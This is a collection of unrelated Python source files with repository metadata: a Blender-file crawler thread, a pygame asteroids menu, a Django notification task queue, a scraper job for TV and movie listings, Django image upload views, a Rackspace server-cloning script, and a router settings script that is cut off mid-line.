#!/usr/bin/env python """downloader_thread.py: Implementation of the DownloaderThread.""" __author__ = "Bruno Nery" __email__ = "[email protected]" from common.crawl_helpers import DownloadAsTemporaryFile from common.crawl_helpers import FilterListBySuffix from common.crawl_helpers import GenerateBlenderFilenameFromURL from common.crawl_helpers import IsBlenderFile import logging import os import struct import threading import zipfile class DownloaderThread(threading.Thread): def __init__(self, download_queue, download_folder, zip_size_limit): threading.Thread.__init__(self) self.download_queue_ = download_queue self.download_folder_ = download_folder self.zip_size_limit_ = zip_size_limit def run(self): while True: resource = self.download_queue_.get() content_type = resource.headers['content-type'] if content_type.startswith('application/zip'): self.HandleZipResource(resource) elif content_type.startswith('text/plain'): self.HandlePlainTextResource(resource) self.download_queue_.task_done() def HandleZipResource(self, resource): if ('content-length' not in resource.headers or int(resource.headers['content-length']) > self.zip_size_limit_): resource.close() return file_handle = DownloadAsTemporaryFile(resource) try: zip_handle = zipfile.ZipFile(file_handle) model_files = FilterListBySuffix(zip_handle.namelist(), ['.blend']) for model in model_files: zip_handle.extract(model, self.download_folder_) # We catch struct.error because of Python issue #4844. except (zipfile.BadZipfile, struct.error): logging.warning('Bad zip file: %s.' % (resource.url)) def HandlePlainTextResource(self, resource): if IsBlenderFile(resource): self.HandleBlenderResource(resource) def HandleBlenderResource(self, resource): filename = GenerateBlenderFilenameFromURL(resource.url) file_handle = open(os.path.join(self.download_folder_, filename), 'wb') # We write BLENDER to the beginning of the file because IsBlenderFile # advances the stream by 7 characters but urllib2.urlopen objects don't # allow calling seek. file_handle.write('BLENDER') file_handle.write(resource.read()) resource.close() file_handle.close()
UTF-8
Python
false
false
2,011
17,239,998,739,897
92940ac14b7822c3b8bec052a1616eec2f9187a6
c9793d56e4fde15a71211df510b3f731fc89c6c6
/pyasteroids/mainmenu.py
64b64f855c4da7c9ce7f7d8ce97f3bb415253274
[ "GPL-1.0-or-later", "GPL-3.0-only", "LicenseRef-scancode-unknown-license-reference" ]
non_permissive
siso/pyAsteroids
https://github.com/siso/pyAsteroids
7fd2d31b8cd70c9154ecd100f91e24e9d928be5b
c5cbd6b8b44f0a0587530025c64dc80e6ffbfd4b
refs/heads/master
2021-01-01T16:50:17.029583
2013-08-25T12:30:49
2013-08-25T12:30:49
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
# -*- coding: utf-8 -*- # This file is part of pyAsteroids. # # pyAsteroids is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # pyAsteroids is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with pyAsteroids. If not, see <http://www.gnu.org/licenses/>. from constants import * from game import * from menu import * from utils import * class MainMenu(Menu): """ main Menu of the game""" def _build_menu(self): """ customized menu to be redefined by each subclass """ self._add_item("New Game", self.run_game) self._add_item("Options", self.run_options) self._add_item("High Scores", self.run_high_scores) self._add_item("Quit Game", self.run_quit_game) def _render_static_texts(self): """ rendering static texts to be redefined by each subclass """ render_text(self.screen, "pyAsteroids", self.font2, (self.screen.get_width() / 2, 100), True) render_text(self.screen, "Copyright © 2013", self.font3, (self.screen.get_width() / 2, 200), True) render_text(self.screen, "Simone Soldateschi", self.font3, (self.screen.get_width() / 2, 225), True) def run_game(self): self.screen.fill((0, 0, 0)) pygame.display.flip() Game(self.screen).run() def run_options(self): print "not implemented yet" def run_high_scores(self): print "not implemented yet" def run_quit_game(self): pygame.quit() sys.exit()
UTF-8
Python
false
false
2,013
17,162,689,327,017
126d8b47c0b934063fa2a78ccb1953e53c5f5902
f71bbd61ea94dcf5c2e9dd7c1e374a8e9aa82765
/iv2ex/itaskqueue.py
b0cc5ba03b75285c95cb518a61a1b687b5d54a66
[]
no_license
hitigon/woosuko
https://github.com/hitigon/woosuko
b209853af1bf6723fbdd08ac8a7aee92f2f52890
58bfe93db75e4a3019a6a2f4defa13e314bd7391
refs/heads/master
2020-06-04T10:53:31.548688
2011-09-21T17:10:40
2011-09-21T17:10:40
2,397,972
3
1
null
null
null
null
null
null
null
null
null
null
null
null
null
#coding=utf-8 ''' Created on 11-9-13 @author: qiaoshun8888 ''' import re import threading import time import sys import datetime from iv2ex.mail import send_register_email from iv2ex.models import ITaskQueue, Topic, Page, Counter, Notification, Member, Reply from v2ex.babel.da import GetMemberByUsername, GetKindByNum from django.core.cache import cache as memcache class ITaskID(): NOTIFICATION_TOPIC = '/notifications/topic/' NOTIFICATION_REPLY = '/notifications/reply/' NOTIFICATION_CHECH = '/notifications/check/' REGISTER_EMAIL = '/register/mail/' class ITaskQueueManage(): def add(self, data=''): task = ITaskQueue() task.data = data task.lock = 0 task.date = datetime.datetime.now() task.save() class ITaskQueueThread(threading.Thread): def __init__(self, interval): threading.Thread.__init__(self) self.interval = interval # 秒 self.thread_stop = False def run(self): while not self.thread_stop: try: #print 'running....' ''' update() 更新结果集的缓存 ''' ITaskQueue.objects.update() tasklist = ITaskQueue.objects.filter(lock=0) for task in tasklist: # 判断当前任务是否处于锁定状态 if task.lock == 1: continue; # 不处于锁定状态则执行该任务,首先给当前任务加锁 task.lock = 1 task.save() # 执行任务 if task.data.find(ITaskID.NOTIFICATION_TOPIC) != -1: topic_id = int(task.data.replace(ITaskID.NOTIFICATION_TOPIC,'')) Task_NotificationsTopicHandler(topic_id) elif task.data.find(ITaskID.NOTIFICATION_REPLY) != -1: reply_id = int(task.data.replace(ITaskID.NOTIFICATION_REPLY,'')) Task_NotificationsReplyHandler(reply_id) elif task.data.find(ITaskID.NOTIFICATION_CHECH) != -1: check_id = int(task.data.replace(ITaskID.NOTIFICATION_CHECH,'')) Task_NotificationsCheckHandler(check_id) elif task.data.find(ITaskID.REGISTER_EMAIL) != -1: user_data = task.data.replace(ITaskID.REGISTER_EMAIL,'').split('###') # email | username | password send_register_email(user_data[0], user_data[1], user_data[2]) else: pass # 执行完任务后删除 task.delete() except: print "itaskqueue.py error:" + str(sys.exc_info()) time.sleep(self.interval) def stop(self): self.thread_stop = True # ============================================================================================ # For mentions in topic title and content def Task_NotificationsTopicHandler(topic_id): topic = Topic.objects.get(id=topic_id) combined = topic.title + " " + topic.content ms = re.findall('(@[a-zA-Z0-9\_]+\.?)\s?', combined) keys = [] if (len(ms) > 0): for m in ms: m_id = re.findall('@([a-zA-Z0-9\_]+\.?)', m) if (len(m_id) > 0): if (m_id[0].endswith('.') != True): member_username = m_id[0] member = GetMemberByUsername(member_username) if member: if member.id != topic.member.id and member.id not in keys: q = Counter.objects.filter(name='notification.max') if (len(q) == 1): counter = q[0] counter.value = counter.value + 1 else: counter = Counter() counter.name = 'notification.max' counter.value = 1 q2 = Counter.objects.filter(name='notification.total') if (len(q2) == 1): counter2 = q2[0] counter2.value = counter2.value + 1 else: counter2 = Counter() counter2.name = 'notification.total' counter2.value = 1 notification = Notification() notification.num = counter.value notification.type = 'mention_topic' notification.payload = topic.content notification.label1 = topic.title notification.link1 = '/t/' + str(topic.num) + '#reply' + str(topic.replies) notification.member = topic.member notification.for_member_num = member.num keys.append(member.id) counter.save() counter2.save() notification.save() ITQM = ITaskQueueManage() for k in keys: ITQM.add(data='/notifications/check/' + str(k)) # For mentions in reply content def Task_NotificationsReplyHandler(reply_id): try: reply = Reply.objects.get(id=reply_id) topic = GetKindByNum('Topic', reply.topic_num) ms = re.findall('(@[a-zA-Z0-9\_]+\.?)\s?', reply.content) keys = [] if (len(ms) > 0): for m in ms: m_id = re.findall('@([a-zA-Z0-9\_]+\.?)', m) if (len(m_id) > 0): if (m_id[0].endswith('.') != True): member_username = m_id[0] member = GetMemberByUsername(member_username) if member: if member.id != topic.member.id and member.id != reply.member.id and member.id not in keys: q = Counter.objects.filter(name='notification.max') if (len(q) == 1): counter = q[0] counter.value = counter.value + 1 else: counter = Counter() counter.name = 'notification.max' counter.value = 1 q2 = Counter.objects.filter(name='notification.total') if (len(q2) == 1): counter2 = q2[0] counter2.value = counter2.value + 1 else: counter2 = Counter() counter2.name = 'notification.total' counter2.value = 1 notification = Notification() notification.num = counter.value notification.type = 'mention_reply' notification.payload = reply.content notification.label1 = topic.title notification.link1 = '/t/' + str(topic.num) + '#reply' + str(topic.replies) notification.member = reply.member notification.for_member_num = member.num keys.append(member.id) counter.save() counter2.save() notification.save() ITQM = ITaskQueueManage() for k in keys: ITQM.add(data='/notifications/check/' + str(k)) except : print "itaskqueue.py - Task_NotificationsReplyHandler error:" + str(sys.exc_info()) def Task_NotificationsCheckHandler(member_id): member = Member.objects.get(id=int(member_id)) if member: if member.notification_position is None: member.notification_position = 0 q = Notification.objects.filter(for_member_num=member.num,num__gt=member.notification_position).order_by('-num') count = len(q) if count > 0: member.notifications = count member.save() memcache.set('Member_' + str(member.num), member, 86400)
UTF-8
Python
false
false
2,011
15,504,831,942,323
f5a9252f1e385ed436f492aa3a317c33e0d8f619
caed66edc3bfdbc99b61473886f3407c215386e0
/byggvir/grabber_job.py
8ba105f59be6fc9d3a9e8121564268519b8a0e9e
[]
no_license
bfw/Byggvir2
https://github.com/bfw/Byggvir2
be8eb9571403f8c9276d5935f3f7be108fdf6a2b
c606aa2c6f1c492d39d38a750c4628fb85da24ce
refs/heads/master
2015-08-12T03:24:10.870507
2014-06-17T19:07:04
2014-06-17T19:07:04
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
from grabber import Grabber import threading import calendar import time import pickle import sys from ConfigParser import SafeConfigParser NO_OF_TV_PAGES = 3 NO_OF_MOVIE_PAGES = 3 TV_LINK = "http://sceper.ws/category/tv-shows/" MOVIE_LINK = "http://sceper.ws/category/movies/" INTERVAL = 10 # Interval between grabs (in minutes) CHECK_INTERVAL = 5 # Interval between checking whether to run the grabber (in seconds) class GrabberJob(threading.Thread): def __init__(self): parser = SafeConfigParser() parser.read('config.cfg') self.tv_filename = parser.get('datafiles', 'tv_shows') self.movies_filename = parser.get('datafiles', 'movies') self.subscriptions_filename = parser.get('datafiles', 'subscriptions') self.has_been_run = False sys.setrecursionlimit(10000) super(GrabberJob, self).__init__() def run(self): # Run a neverending loop, where each INTERVAL minutes the data is grabbed again # The variable has_been_run is set to True when the loop has been run at least once, # and the data has been retrieved and pickled last_time = None while True: if (self.run_grabber(last_time)): tv_grabber = Grabber(TV_LINK, NO_OF_TV_PAGES) tv_list = tv_grabber.run() # Apply subscription values to all tv entries: subscriptions_file = open(self.subscriptions_filename, 'rb') subscriptions = pickle.load(subscriptions_file) new_tv_list = [] for entry in tv_list: if self.is_subscribed(entry['title_text'], subscriptions): entry['subscribed'] = True else: entry['subscribed'] = False new_tv_list.append(entry) tv_list = new_tv_list movie_grabber = Grabber(MOVIE_LINK, NO_OF_MOVIE_PAGES) movie_list = movie_grabber.run() self.pickle_data(tv_list, movie_list) self.has_been_run = True print "Job has been run..." last_time = calendar.timegm(time.gmtime()) time.sleep(CHECK_INTERVAL) def pickle_data(self, tv_list, movie_list): tv_datafile = open(self.tv_filename, 'wb') movies_datafile = open(self.movies_filename, 'wb') #print "tv_list: "+str(tv_list) #print "movies_list: "+str(movie_list) pickle.dump(tv_list, tv_datafile) pickle.dump(movie_list, movies_datafile) tv_datafile.close() movies_datafile.close() def has_run(self): return self.has_been_run def run_grabber(self, last_time): # This method determines whether to run the grabber if(last_time == None): # The grabber has not been run, since the program was started. Run it. return True now = calendar.timegm(time.gmtime()) # If it was over INTERVAL minutes since the last time the grabber was run, then run it if now-last_time >= INTERVAL*60: return True return False def is_subscribed(self, title, subscriptions): for subscription in subscriptions: if subscription in title: print "Subscription match: "+str(subscription) return True return False
UTF-8
Python
false
false
2,014
5,085,241,314,578
667f6033f65fc5150770d4608d3e41b7d5e85718
b849aa0c811673466291df95a2aaad01107be0fe
/image/views.py~
a9337062c5d6ad9a835fe1f0e2e74ed9338e610c
[]
no_license
markiodeb/testy00
https://github.com/markiodeb/testy00
b3104a92957349734ddba8f557f197c2bdcdefe8
767d57cea58edc31fde66bdcae7bb3eb1500a691
refs/heads/master
2021-01-19T06:29:27.355815
2013-12-14T21:05:04
2013-12-14T21:05:04
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
#!/usr/bin/env python # -*- coding: latin-1 -*- # Create your views here. from django.shortcuts import render from django.http import HttpResponseRedirect from image.models import Images, Pics, Photos from image.forms import ImageForm, PicForm, PhotoForm def index(request): imgs = Images.objects.all() pics = Pics.objects.all() pho = Photos.objects.all() return render(request, 'image/index.html',{'imgs':imgs,'pics':pics,'photos':photos}) def formulario(request): #print "oaaa" <-- this save me ... ¬¬ #ue=False "usuario_existe":ue, if request.method == 'POST': # If the form has been submitted... form = ImageForm(request.POST, request.FILES) # A form bound to the POST data if form.is_valid(): # All validation rules pass nombre = form.cleaned_data['nombre'] imagen = form.cleaned_data['imagen'] i = Images(nombre=nombre,imagen=imagen) i.save() return HttpResponseRedirect('/image/thanks/') else: form = ImageForm() return render(request, 'image/form.html', { 'form': form, }) def formulario2(request): #print "oaaa" <-- this save me ... ¬¬ #ue=False "usuario_existe":ue, if request.method == 'POST': # If the form has been submitted... form = PicForm(request.POST, request.FILES) # A form bound to the POST data if form.is_valid(): # All validation rules pass nombre = form.cleaned_data['nombre'] imagen = form.cleaned_data['imagen'] p = Pics(nombre=nombre,imagen=imagen) p.save() return HttpResponseRedirect('/image/thanks/') else: form = PicForm() return render(request, 'image/form.html', { 'form': form, }) def formulario3(request): #print "oaaa" <-- this save me ... ¬¬ #ue=False "usuario_existe":ue, if request.method == 'POST': # If the form has been submitted... form = PhotoForm(request.POST, request.FILES) # A form bound to the POST data if form.is_valid(): # All validation rules pass nombre = form.cleaned_data['nombre'] imagen = form.cleaned_data['imagen'] p = Photos(nombre=nombre,imagen=imagen) p.save() return HttpResponseRedirect('/image/thanks/') else: form = PhotoForm() return render(request, 'image/form.html', { 'form': form, }) def thanks(request): return render(request, 'image/thanks.html')
UTF-8
Python
false
false
2,013
8,443,905,737,043
b0ca45b54fd6ad88ea90adc76ab3b55b54f14365
86fa2de65d41c16c9385245494963fdf3e186000
/challenge2.py
6face935f9846d06603c91034cfe9e97cc54b074
[]
no_license
benichols/apichallenge
https://github.com/benichols/apichallenge
4e0b8138c3254c42771925e0e6d1c41c20d1d23a
ffd4647656e54a6171223a1f8e8be0a5573c473c
refs/heads/master
2021-01-25T05:35:32.944410
2013-05-01T19:02:21
2013-05-01T19:02:21
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
#!/usr/bin/env python import time import os import pyrax # # Read in the credentials. # creds_file = os.path.expanduser("~/.rackspace_cloud_credentials") pyrax.set_credential_file(creds_file) cs = pyrax.cloudservers # # Find the 512 flavor. # flavor = [flavor for flavor in cs.flavors.list() if flavor.ram == 512] [0] # # List the servers. # for server in cs.servers.list(): if server.name == 'test1': # # Take an image of test1. # image = cs.servers.create_image(server.id, "Debian image") print "'Debian image' is being created (%s)" % (image) # # Check that the image ACTIVE. # wait = 1 while wait == 1: all_images = cs.images.list() i = [img for img in all_images if hasattr(img,"server")] for j in i: # # Check if the image is SAVING. # if j.status == 'SAVING': # # If it is saving, so sleep for 60 seconds. # print "Image (%s), is %s" % (j.name,j.status) time.sleep(60) elif j.status == 'ACTIVE': # # Once it is active, output the name and id. # print "Image (%s), id (%s)" % (j.name,j.id) wait = 0 # # Create test2 as an image of test1. # print "Creating test2" server = cs.servers.create('test2', image, flavor.id) wait = 1 while wait == 1: i = cs.servers.get(server.id) if i.status == 'BUILD': # # Wait until the image is done building. # print "%s is building" % i.name time.sleep(180) elif i.status == 'ACTIVE': # # Once the server is done building, output the name, # password and ip information. # print "Name: %s" % i.name print "Admin Password: %s" % server.adminPass print "Networks: %s" % i.networks wait = 0
UTF-8
Python
false
false
2,013
17,042,430,242,703
8f44ecd6fc39f5a39f17a724c88a2113bd0cf33c
bb4488d71931600cb143464ea36ce137ca36cb55
/app/urls.py
4f86b6a81888aeb9bca271722bf6a136b3f81252
[]
no_license
russellhaering/Expense-Tracker
https://github.com/russellhaering/Expense-Tracker
22a21312df332d16f21ea4cb0a67afab0ffb3b70
80272e72f949367fd6277e4a017b4de31d270eaf
refs/heads/master
2020-04-27T21:48:46.869779
2009-05-14T22:26:59
2009-05-14T22:26:59
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
from django.conf.urls.defaults import * urlpatterns = patterns('expenses.app.views', # (r'^expenses/', include('expenses.foo.urls')), (r'^expenses/$', 'expenses'), (r'^expenses/show/(?P<eid>\d+)/$', 'expense_show'), (r'^expenses/add/$', 'expense_add') # Uncomment the admin/doc line below and add 'django.contrib.admindocs' # to INSTALLED_APPS to enable admin documentation: # (r'^admin/doc/', include('django.contrib.admindocs.urls')), )
UTF-8
Python
false
false
2,009
7,310,034,371,082
736275d3a98256fb4c82e1a394c26ffd2c8f89a5
852aca808a356e641552bdb04880a7430ebe550b
/pykit/transform/inline.py
2ba6e2f73799d0d9e2f6b742e56ac9902226aa23
[ "BSD-3-Clause" ]
permissive
Global-localhost/pykit
https://github.com/Global-localhost/pykit
4b8cb23885b46bc144a896e159e560d74520717d
1730d7b831e0cf12a641ac23b5cf03e17e0dc550
refs/heads/master
2022-12-05T13:34:08.088765
2013-10-23T16:32:41
2013-10-23T16:32:41
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
# -*- coding: utf-8 -*- """ Function inlining. """ from pykit.error import CompileError from pykit.analysis import loop_detection from pykit.ir import Function, Builder, findallops, copy_function, verify from pykit.transform import ret as ret_normalization def rewrite_return(func): """Rewrite ret ops to assign to a variable instead, which is returned""" ret_normalization.run(func) [ret] = findallops(func, 'ret') [value] = ret.args ret.delete() return value def inline(func, call, uses=None): """ Inline the call instruction into func. :param uses: defuse information """ callee = call.args[0] # assert_inlinable(func, call, callee, uses) builder = Builder(func) builder.position_before(call) inline_header, inline_exit = builder.splitblock() new_callee = copy_function(callee, temper=func.temp) result = rewrite_return(new_callee) # Fix up arguments for funcarg, arg in zip(new_callee.args, call.args[1]): funcarg.replace_uses(arg) # Copy blocks after = inline_header for block in new_callee.blocks: block.parent = None func.add_block(block, after=after) after = block # Fix up wiring builder.jump(new_callee.startblock) with builder.at_end(new_callee.exitblock): builder.jump(inline_exit) # Fix up final result of call if result is not None: # non-void return result.unlink() result.result = call.result call.replace(result) else: call.delete() func.reset_uses() verify(func) def assert_inlinable(func, call, callee, uses): """ Verify that a function call can be inlined. We can inline generators if they are consumed in a single loop: - iter(g) must be in a loop header - next(g) must be in the loop body :return: None if inlineable, or an exception with a message """ if not isinstance(callee, Function): return CompileError("Cannot inline external function: %s" % (callee,)) yields = findallops(callee, 'yield') if yields: for use in uses[call]: if use.opcode not in ('iter', 'next'): return CompileError( "Cannot inline generator with use %s" % (use,)) if len(uses[call]) != 2: return CompileError("Can only") loops = loop_detection.find_natural_loops(func)
UTF-8
Python
false
false
2,013
15,985,868,310,163
ace2ac0e8dbf3b374a8720d0259f01be760a2aae
46b3e4c5a56738328295aba73bb015189832ae8b
/Tools/GenerateMSVC2010Project.py
b9fd3e65a82d9697f7e49ed56eb04d28b92225e2
[]
no_license
GrognardsFromHell/EvilTemple-Native
https://github.com/GrognardsFromHell/EvilTemple-Native
e2d28c7dfac1ac10f91875bd2bef016c6852de16
cb88b65ba54c9d4edf8c6519d8b1e14074de4aa3
refs/heads/master
2020-05-07T11:26:01.422835
2011-07-17T14:33:17
2011-07-17T14:33:17
35,892,196
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
from subprocess import call from os import chdir chdir('../') call(["qmake", "-spec", "win32-msvc2010", "-recursive", "-tp", "vc"])
UTF-8
Python
false
false
2,011
5,325,759,486,581
6b150ce7c9a04ede7067fe5fa8dfb577675304d2
4d0ef1f969473b2b7b51c7645220791c82fdcb45
/easy/005_MultiplesofANumber/main.py
b487e64d5b7c6a8c85edaa12c529fc547a742331
[]
no_license
civic/CodeEval
https://github.com/civic/CodeEval
cfdcb3c669118758f4f4e0dbcb84a9a3454cf212
5c2b55314e4fe64db1dd53f020254b7ec699b9df
refs/heads/master
2020-04-24T03:16:34.645357
2012-10-31T04:14:04
2012-10-31T04:14:04
2,778,717
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
import sys for line in open(sys.argv[1]): if line.rstrip() == "": continue (x, n) = map(lambda y: int(y), line.rstrip().split(",")) while n < x: n *= 2 print n
UTF-8
Python
false
false
2,012
15,814,069,622,716
a78f8cb11bef76258a0948fa09ee8a27953670b8
8244ca6eeb3ed07d1c1e4f274e5cd5f4b3a809ef
/main.py
0e770bf81434ed218a603bdb5db0dadfb067c204
[ "LicenseRef-scancode-unknown-license-reference", "Apache-2.0" ]
non_permissive
louvervecken/rasp_server
https://github.com/louvervecken/rasp_server
8207356f815320a7b96b7f7b59b578f0bbe558c6
440f15dc35dfb8beac43e52795dd2156d3542be5
refs/heads/master
2020-12-11T04:10:22.821351
2014-03-04T16:45:35
2014-03-04T16:45:35
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
""" main.py is the top level script. Return "Hello World" at the root URL. """ import os import sys import datetime from google.appengine.ext import db # sys.path includes 'server/lib' due to appengine_config.py from flask import Flask from flask import render_template from flask import request from flask import redirect app = Flask(__name__.split('.')[0]) class StateAndSettings(db.Model): alarm_enabled = db.BooleanProperty(default=False, indexed=False) heating_enabled = db.BooleanProperty(default=False, indexed=False) cpu_temp = db.FloatProperty(default=0.0, indexed=False) ram_perc = db.FloatProperty(default=0.0, indexed=False) free_storage = db.FloatProperty(default=0.0, indexed=False) last_room_temp = db.FloatProperty(default=0.0, indexed=False) last_heating_temp = db.FloatProperty(default=0.0, indexed=False) last_update = db.DateTimeProperty(auto_now=True, indexed=False) class TemperatureMeasurement(db.Model): datetime = db.DateTimeProperty(required=True) place = db.StringProperty(required=True) temperature = db.FloatProperty(required=True) state_version = 3 state_name = 'state_{}'.format(state_version) state_key = db.Key.from_path('StateAndSettings', state_name) # create state if not yet existing if not db.get(state_key): state = StateAndSettings(key_name=state_name) state.put() else: state = db.get(state_key) @app.route('/') def hello(): """ Return hello template at application root URL.""" return render_template('hello.html') @app.route('/dashboard') def dashboard(): """ Show user dashboard. """ state = db.get(state_key) return render_template('dashboard.html', alarm_enabled=state.alarm_enabled, heating_enabled=state.heating_enabled, cpu_temp=state.cpu_temp, ram_perc=state.ram_perc, free_storage=state.free_storage, last_room_temp=state.last_room_temp, last_heating_temp=state.last_heating_temp, last_update = state.last_update) @app.route('/alarm-config/get') def get_alarm_config(): """ Return the current configuration the alarm needs to be put in. """ state = db.get(state_key) return "alarm_enabled = {0}".format(state.alarm_enabled) @app.route('/alarm-config/set', methods=['GET', 'POST']) def set_alarm_config(): """ Config to set alarm on-or off. example on how to set on client side: import requests r = requests.post('https://rasp-lou-server.appspot.com/alarm-config/set', data={'enabled': 'True'}) """ state = db.get(state_key) # if it is a post from the python client if request.method=='POST': state.alarm_enabled = request.form.get('enabled') == 'True' state.put() return "success", 201 # or coming from dashboard else: state.alarm_enabled = request.args.get('enabled') == 'True' state.put() return redirect('/dashboard') @app.route('/heating-config/get') def get_heating_config(): """ Return the current configuration the heating needs to be put in. """ state = db.get(state_key) return "heating_enabled = {0}".format(state.heating_enabled) @app.route('/heating-config/set', methods=['GET', 'POST']) def set_heating_config(): """ Config to set heating on-or off. example on how to set on client side: import requests r = requests.post('https://rasp-lou-server.appspot.com/heating-config/set', data={'enabled': 'True'}) """ state = db.get(state_key) # if it is a post from the python client if request.method=='POST': state.heating_enabled = request.form.get('enabled') == 'True' state.put() return "success", 201 # or coming from dashboard else: state.heating_enabled = request.args.get('enabled') == 'True' state.put() return redirect('/dashboard') @app.route('/data-posting', methods=['POST']) def post_data(): """ Receive data from rasp client to store in DB example on how to post from client side: import requests r = requests.post('https://rasp-lou-server.appspot.com/data-posting', data={'cpu_temp': 44.3}) """ state = db.get(state_key) # if it is a post from the python client if request.method=='POST': # get the values from the https post and put them in the state state.cpu_temp = float(request.form.get('cpu_temp')) state.ram_perc = float(request.form.get('ram_perc')) state.free_storage = float(request.form.get('free_storage')) state.last_room_temp = float(request.form.get('room_temp')) state.last_heating_temp = float(request.form.get('heating_temp')) # store the temperature measurements now = datetime.datetime.now() TemperatureMeasurement(datetime=now, place='room', temperature=state.last_room_temp).put() TemperatureMeasurement(datetime=now, place='heating', temperature=state.last_heating_temp).put() # save the state state.put() return "success", 201
UTF-8
Python
false
false
2,014
16,587,163,705,813
a51c4bb751d299d4277a5b89a0942a45c145b58c
895796f12ad06ad65a0fb0f702b0d747e79b8050
/ex5.py
edf1b9f1efe90447bd7a1f0604466c4dcd4c551f
[]
no_license
Hagland/LPTHW
https://github.com/Hagland/LPTHW
6b322a7636e20443b54c504aca8da5cbd7bf5343
2fb785c9469080ce10fbb6a40a8578a4340dca9d
refs/heads/master
2015-08-06T08:07:22
2012-04-09T20:45:57
2012-04-09T20:45:57
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
my_name = 'Erik Hagland' my_age = 18 # Not a lie my_height = 69 # inches my_weight = 165 # lbs my_eyes = 'Blue' my_teeth = 'White' my_hair = 'Brown' print "Let's talk about %s." % my_name print "He's %d inches tall." % my_height print "He's %d pounds heavy." % my_weight print "Actually, that's not too heavy." print "He's got %s eyes and %s hair." % (my_eyes, my_hair) print "His teeth are usually %s, depending on coffee." % my_teeth # This line is tricky, try to get it exactly right print "If I add %d, %d, and %d I get %d." % ( my_age, my_height, my_weight, my_age + my_height + my_weight) # Extra credit: # 1. Variables without "my_": """ name = 'Erik Hagland' age = 18 # Not a lie height = 69 # inches weight = 165 # lbs eyes = 'Blue' teeth = 'White' hair = 'Brown' print "Let's talk about %s." % name print "He's %d inches tall." % height print "He's %d pounds heavy." % weight print "Actually, that's not too heavy." print "He's got %s eyes and %s hair." % (eyes, hair) print "His teeth are usually %s, depending on coffee." % teeth # This line is tricky, try to get it exactly right print "If I add %d, %d, and %d I get %d." % ( age, height, weight, age + height + weight) """ # 2. here is a test of %r: extracredit2 = "%r is a really helpful format charater. It'll print anything no matter what. See: \\\\\." print "%r" % extracredit2 # 3. http://docs.python.org/library/stdtypes.html 5.6.2 # 4 - variables for inches and pounds to metric: cm = my_height * 2.54 kilo = my_weight * 0.45359237 print "%s is %d centimetres tall and %d kilograms heavy." % (my_name, cm, kilo) # http://learnpythonthehardway.org/book/ex5.html
UTF-8
Python
false
false
2,012
15,968,688,427,686
3f6a5692f3ec43236af59a20d5f01c67e1061ee9
7b2f50c8161996cabadb56ec4dba6b519d8a0458
/routerapi/update_setting
ac5a6633f3105fdf788533862b8a02710b8dd616
[ "MIT", "BSD-3-Clause", "GPL-2.0-only", "Apache-2.0" ]
non_permissive
linkp2p/OpenWireless
https://github.com/linkp2p/OpenWireless
42a8ee697750aedc14a1ae41a4248c09cbd19dee
9830c14ef7c46b3c4bfdc493b58d58b5b0624c0c
refs/heads/master
2020-05-29T12:26:27.849713
2014-12-15T07:04:08
2014-12-15T07:04:08
28,086,481
0
1
null
null
null
null
null
null
null
null
null
null
null
null
null
#!/usr/bin/env python2.7 import json import os import sys import common import uci import accumulate_bytes environ = os.environ band_5_channel_options = ['auto', '36 (5.180 GHz)', '40 (5.200 GHz)', '44 (5.220 GHz)', '48 (5.240 GHz)', '149 (5.745 GHz)', '153 (5.765 GHz)', '159 (5.785 GHz)', '161 (5.805 GHz)', '165 (5.825 GHz)'] band_2p4_channel_options = ['auto', '1 (2.412 GHz)', '2 (2.417 GHz)', '3 (2.422 GHz)', '4 (2.427 GHz)', '5 (2.432 GHz)', '6 (2.437 GHz)', '7 (2.442 GHz)', '8 (2.447 GHz)', '9 (2.452 GHz)', '10 (2.457 GHz)', '11 (2.462 GHz)', '12 (2.467 GHz)'] def check_device(config_name): return uci.get("wireless." + config_name + ".device") def check_param(device, param): return uci.get("wireless." + device + "." + param) def validate_channel(device, channel): if device == 'radio1': return channel in band_5_channel_options else: return channel in band_2p4_channel_options def validate_bandwidth(new_bandwidth): return new_bandwidth in ['20', '40'] def set_param(device, param, value): uci.set("wireless." + device + "." + param, value) uci.commit("wireless") def set_error(param): raise Exception('Invalid ' + param) def check_band(band_name, interface_name): if band_name: if band_name in ["2.4", "5"]: current_band = check_device(interface_name) if current_band == "radio0": new_band = "radio1" else: new_band = "radio0" if new_band != check_param(interface_name, "device"): set_param(interface_name, "device", new_band) common.reset_wifi() else: set_error('band') def check_channel(channel_name, interface_name): if channel_name: current_device = check_device(interface_name) new_channel = channel_name if validate_channel(current_device, new_channel): if new_channel.split(' ')[0] != check_param(current_device, 'channel'): set_param(current_device, 'channel', new_channel.split(' ')[0]) common.reset_wifi() else: set_error('channel') def check_channel_bandwidth(channel_name, interface_name): if channel_name: current_device = check_device(interface_name) new_bandwidth = channel_name if validate_bandwidth(new_bandwidth): if check_param(current_device, 'htmode') != "HT" + new_bandwidth: set_param(current_device, 'htmode', "HT" + new_bandwidth) common.reset_wifi() else: set_error('channel bandwidth') def set_openwireless_use_limit(option): openwireless_interface = "sqm.gw00." + option openwireless_percent = uci.get("openwireless.maxbandwidthpercentage") total_bandwidth = float(uci.get("sqm.ge00." + option)) openwireless_bandwidth = total_bandwidth * float(openwireless_percent)/100 uci.set(openwireless_interface, str(int(openwireless_bandwidth))) uci.commit("sqm") def check_openwireless_bandwidth_percentage(percentage): if percentage: uci.set("openwireless.maxbandwidthpercentage", percentage) uci.commit("openwireless") set_openwireless_use_limit("download") set_openwireless_use_limit("upload") def check_isp_upload_speed(speed): if speed: speed_kbs = str(int(float(speed) * 1000)) uci.set("sqm.ge00.upload", speed_kbs) uci.commit("sqm") set_openwireless_use_limit("upload") def check_isp_download_speed(speed): if speed: speed_kbs = 